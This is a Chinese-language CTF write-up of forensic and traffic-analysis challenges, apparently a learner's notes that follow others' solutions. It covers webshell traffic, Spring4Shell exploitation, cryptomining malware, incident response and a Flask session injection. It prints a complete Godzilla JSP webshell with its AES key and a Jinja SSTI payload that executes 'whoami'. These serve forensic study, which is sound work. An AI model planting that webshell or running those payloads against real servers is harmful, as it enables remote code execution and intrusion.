文章目录
- 数据分析
- 1、hard_web
- hard_web_1
- hard_web_2
- hard_web_3
- 2、sevrer save
- sevrer save_1
- sevrer save_2
- sevrer save_3
- sevrer save_4
- sevrer save_5
- sevrer save_6
- sevrer save_7
- sevrer save_8
- 3、Wireshark
- Wireshark1_1
- Wireshark1_2
- Wireshark1_3
- Wireshark1_4
- 4、Incidentresponse
- IncidentResponse_1
- IncidentResponse_2
- IncidentResponse_3
- IncidentResponse_4
- IncidentResponse_5
- IncidentResponse_6
- IncidentResponse_7
- 5、SmallSword
- SmallSword_1
- SmallSword_2
- SmallSword_3
- 6、ez_web
- ez_web_1
- ez_web_2
- ez_web_3
- 7、Babyforensics
- baby_forensics_1
- baby_forensics_2
- baby_forensics_3
- 8、tcpdump
- tcpdump_1
- tcpdump_2
- tcpdump_3
- tcpdump_4
- tcpdump_5
- 9、Hacked
- hacked_1
- hacked_2
- hacked_3
- hacked_4
- web
- 10、fungame
由于太菜就跟着大佬的wp学习了一遍。
经典之为什么在他们的电脑上可以,我的电脑上不行。
数据分析
1、hard_web
hard_web原题下载
hard_web_1
题目内容:服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了 80 81 82 83 端口,则答案为 80,81,82,83)
考点:哥斯拉流量
也可看持续时间
可以看到网站里存在马
代码如下
Java
<%! String xc="748007e861908c03";
class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>
new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES")
就是做了一个aes,把xc当key,读POST shell.jsp的数据,发现第24322的数据流执行了nmap,但是回显是没运行成功。
(tcp.dstport == 61885) && (tcp.flags.syn == 1)
筛选得到只有 80,888,8888 符合条件
hard_web_2
题目内容:服务器中根目录下的 flag 值是多少?
tcp.stream eq 20053
由 tcp 20046 得知该流中的 flag 是被 aes 加密过的,解密得 flag
hard_web_3
题目内容:该 webshell 的连接密码是多少?
tcp.stream eq 20046
追踪 http 流
cmd5 解密得 14mk3y
2、sevrer save
sevrer save原题下载
解压密码为 c77ad47ba4c85fae66f08ec12e0085dd
考点:溯源取证
sevrer save_1
题目内容:黑客是使用什么漏洞来拿下 root 权限的。格式为:CVE-2020-114514
搜索 tcp 104 中的 title:Reznok's Hello World Spring Application
发现指向 https://github.com/reznok/Spring4Shell-POC,可以看到 cve 编号为 CVE-2022-22965
也可以搜索一下利用的类找到对应的CVE
class.module.classLoader.resources.context.parent.pipeline.first.pattern
sevrer save_2
题目内容:黑客反弹 shell 的 ip 和端口是什么,格式为:10.0.0.1:4444
黑客从服务器上下载了反弹shell的文件,然后执行
sevrer save_3
题目内容:黑客的病毒名称是什么?格式为:filename
解压do,home下的可疑文件main
sevrer save_4
题目内容:黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password
比对一下 shadow 和 shadow-文件发现
也可上传微步等执行命令看进程
sevrer save_5
题目内容:服务器在被入侵时外网 ip 是多少? 格式为:10.10.0.1
有访问ip-api.com的网络记录,释放了一个日志文件,可以先猜出这个日志文件里包含当前的外网IP。
sevrer save_6
题目内容:病毒运行后释放了什么文件?格式:文件 1,文件 2
sevrer save_7
题目内容:矿池地址是什么?格式:domain:1234
根据释放的文件mine_doge.sh,见POOL
sevrer save_8
题目内容:黑客的钱包地址是多少?格式:xx:xxxxxxxx
见上一题的WALLET,钱包地址要删掉.lolMinerWorker
3、Wireshark
原题下载
考点:telnet流量分析
Wireshark1_1
题目内容:被入侵主机的 IP 是?
流量里只有这两个 ip 在通信,很显然答案是 192.168.246.28
Wireshark1_2
题目内容:被入侵主机的口令是?
Wireshark1_3
题目内容:用户目录下第二个文件夹的名称是?
Wireshark1_4
题目内容:/etc/passwd 中倒数第二个用户的用户名是?
4、Incidentresponse
题目内容:你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网 IP 是 10.221.36.21。查询 CMDB 后得知该 IP 运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)(答案中如有空格均需去除,如有大写均需变为小写,使用 echo -n ‘strings’|md5sum|cut -d ’ ’ -f1 获取 md5 值作为答案)
原题下载
解压密码为 f0b1ba11478343f404666c355919de3f
考点:溯源取证
IncidentResponse_1
题目内容:挖矿程序所在路径是?
因为与挖矿相关,所以搜索了一下与WALLET有关的字段,发现在redis-server中出大量的wallet,疑似被修改,确定是redis-server该文件
根据查看的进程信息可知,该程序发送数万条 udp 链接,结合之前的 redis 挖矿病毒猜测为该程序。
IncidentResponse_2
题目内容:挖矿程序连接的矿池域名是?
该目录下的conf文件中存在矿池域名的配置
IncidentResponse_3
题目内容:攻击者入侵服务器的利用的方法是?
系统登录日志中存在大量的admin用户,疑似通过网站的服务上马登录。
查看 nohup 文件,多次出现 shiro 链,猜测是 shiro 反序列化。
flag 是 shirodeserialization。
IncidentResponse_4
题目内容:攻击者的 IP 是?
历史命令里找到了几个可能的 ip 尝试发现为 81.70.166.3
从登录日志也可以发现IP。
IncidentResponse_5
题目内容:攻击者发起攻击时使用的 User-Agent 是?
攻击者IP的最后一条访问时nginx日志里的User-Agent。
查看/var/log/nginx/access.log
IncidentResponse_6
题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?
常规手段:疑似保存authoriazed_keys的免密登录
查看/root/.ssh/authorized_keys 里记录的用户是 root@kali
IncidentResponse_7
题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5 加密后以 b 开头)
常规策略:开机启动
结合上文恶意文件,看了很多,发现使用了 redis 的配置文件进行权限维持。
/lib/systemd/system/redis.service
5、SmallSword
原题下载
考点:蚁剑流量分析
SmallSword_1
题目内容:连接蚁剑的正确密码是__?(答案示例:123asd)
密码就是post时的key 6ea280898e404bfabd0ebb702327b19f。
第 127 流就出现了使用 6ea280898e404bfabd0ebb702327b19f 传递代码,明显的蚁剑链接特征。
SmallSword_2
题目内容:攻击者留存的值是__?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
蚁剑没什么防护,直接base64解流量传输的数据即可
对 tcp142 解密,flag 为YWQ2MjY5YjctM2NlMi00YWU4LWI5N2YtZjI1OTUxNWU3YTkxIA==对应的base64 值
ad6269b7-3ce2-4ae8-b97f-f259515e7a91
SmallSword_3
题目内容:攻击者下载到的 flag 是__?(答案示例:flag3{uuid})
将 tcp 130 中的 exe 提取出来(转为原始数据保存)
对提取出来得 exe 进行解包
发现 2.pyc 里边有图片数据
保存得到
流量里可以看到程序下载了huorong.exe
放到微步,发现程序运行后会释放一张图片。
6、ez_web
原题下载
ez_web_1
题目内容:服务器自带的后门文件名是什么?(含文件后缀)
从HTTP对象发现,它利用了自带的后门上传了d00r.php
发现该请求携带恶意代码确认为该文件。
ez_web_2
题目内容:服务器的内网 IP 是多少?
导出http对象,发现他执行了ip的命令,确定内网地址
第 10098TCP 流里的 http 里有执行命令 ifconfig
ez_web_3
题目内容:攻击者往服务器中写入的 key 是什么?
在d00r命令执行中看到写入操作,发现是个解压密码7e03864b0db7e6f9,在流量末尾找到压缩包解密。
保存为 zip,下图为压缩包密码
7、Babyforensics
原题下载
解压密码为 4cf611fce4a2fec305e54c2766b7c860
baby_forensics_1
题目内容:磁盘中的 key 是多少?
可以直接内存filescan,看到key.txt然后提取该文件,也可以使用取证大师等工具提取bitlocker的内存密钥,然后用相应工具解密。
最后是rot47得到key
baby_forensics_2
题目内容:电脑中正在运行的计算器的远行结果是多少?
这题,复现发现大佬的做法有两种。1.vol看windows 2.dump calc.exe的进程然后放入gimp。
baby_forensics_3
题目内容:该内存文件中存在的flag值是多少?
U2开头加密标志去内存找,然后Rstudio在Music目录下找到密码,然后使用爆破工具,爆破。
8、tcpdump
原题下载
tcpdump_1
题目内容:攻击者通过暴力破解进入了某 Wiki 文档,请给出登录的用户名与密码,以:拼接,比如 admin:admin
查看请求和返回流量,看返回包长度为 559 与其他的 237 不一致。确定为下图,找到请求包即可。
tcpdump_2
题目内容:攻击者发现软件存在越权漏洞,请给出攻击者越权使用的 cookie 的内容的 md5 值。(32 位小写)
分析前后操作,发现在这儿开始往后进行越权操作
tcpdump_3
题目内容:攻击使用 jdbc 漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如 root:123456
tcpdump_4
题目内容:攻击者又使用了 CVE 漏洞攻击应用,执行系统命令,请给出此 CVE 编号以及远程 EXP 的文件名,使用:拼接,比如 CVE-2020-19817:exp.so
根据tcp 1604流中的xml的信息能发现weblogic
搜索关键词,发现几个 cve,逐一与流量比对发现为 CVE-2022-21724
根据分析路径为下图中的 custom.dtd.xml
tcpdump_5
题目内容:给出攻击者获取系统权限后,下载的工具的名称,比如 nmap
fscan
9、Hacked
原题下载
hacked_1
题目内容:admIn 用户的密码是什么?
http 找 get /register 追踪 http 流看源码
登录页面源码找到加密算法
<script language="javascript">
crypt_key = 'l36DoqKUYQP0N7e1';
crypt_iv = '131b0c8a7a6e072e';
var key = CryptoJS.enc.Utf8.parse(crypt_key);
var iv = CryptoJS.enc.Utf8.parse(crypt_iv);
function Encrypt(word){
srcs = CryptoJS.enc.Utf8.parse(word);
var encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv,mode:CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7});
return encrypted.toString();
}
function print(){
var a = Encrypt(myform.username.value);
var b = Encrypt(myform.password.value);
}
这个为 admIn 用户对应的一组用户名密码。
import base64
from Crypto.Cipher import AES
iv=b'131b0c8a7a6e072e'
key=b'l36DoqKUYQP0N7e1'
def decrypt(s):
return AES.new(key, AES.MODE_CBC, iv).decrypt(base64.b64decode(s))
decrypt(b"KGM7NI0/WvKswK+PlmFIhO4gqe8jJzRdOi02GQ0wZoo=")
# b'flag{WelC0m5_TO_H3re}\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'
然后找解密即可
flag{WelC0m5_TO_H3re}
hacked_2
题目内容:app.config[‘SECRET_KEY’]值为多少?
搜索 SECRET_KEY 即可。
hacked_3
题目内容:flask 网站由哪个用户启动?
这题的漏洞点在flask的session注入
tcp流76
Bash
$python .\exp.py .eJwdx1EKwyAMANCrDEGiPz1Ar1KGZBi7gBpplH2Idy_d-3vTDKWrYiGzm2k5vZRUWeo2WsRObkLKeMKeuekoB4RwZvlg1hDg_S917lSeOhAFf0CTRvXp7ytYGPx2EUbnl7drWqqRk11m3cGmKw0.YpIQcw.J5vs8t8bAr0xDIxF6EqUAH2kkLE
{'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}
$ python .\exp.py .eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4
{'flag': 'red\n', 'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}
密钥为 2 中的 SECRET_KEY
hacked_4
题目内容:攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
Index
web
10、fungame
题目内容:近日,网管小李被通知说自己管理的网站存在漏洞,请你帮助小李找到存在漏洞的位置,并且将漏洞修复(敏感信息泄露也算哦)。修复漏洞后,等待一分钟左右,/flag 就会变为可读权限。可以借用 /index.php?r=debug/default/index 的 web 接口的 debug 进行分析。
debug 发现请求了 diff 方法:
找到这个地方注释:
然后还有个 phpinfo:
最后一行有个 phpinfo,删掉以后就可以了。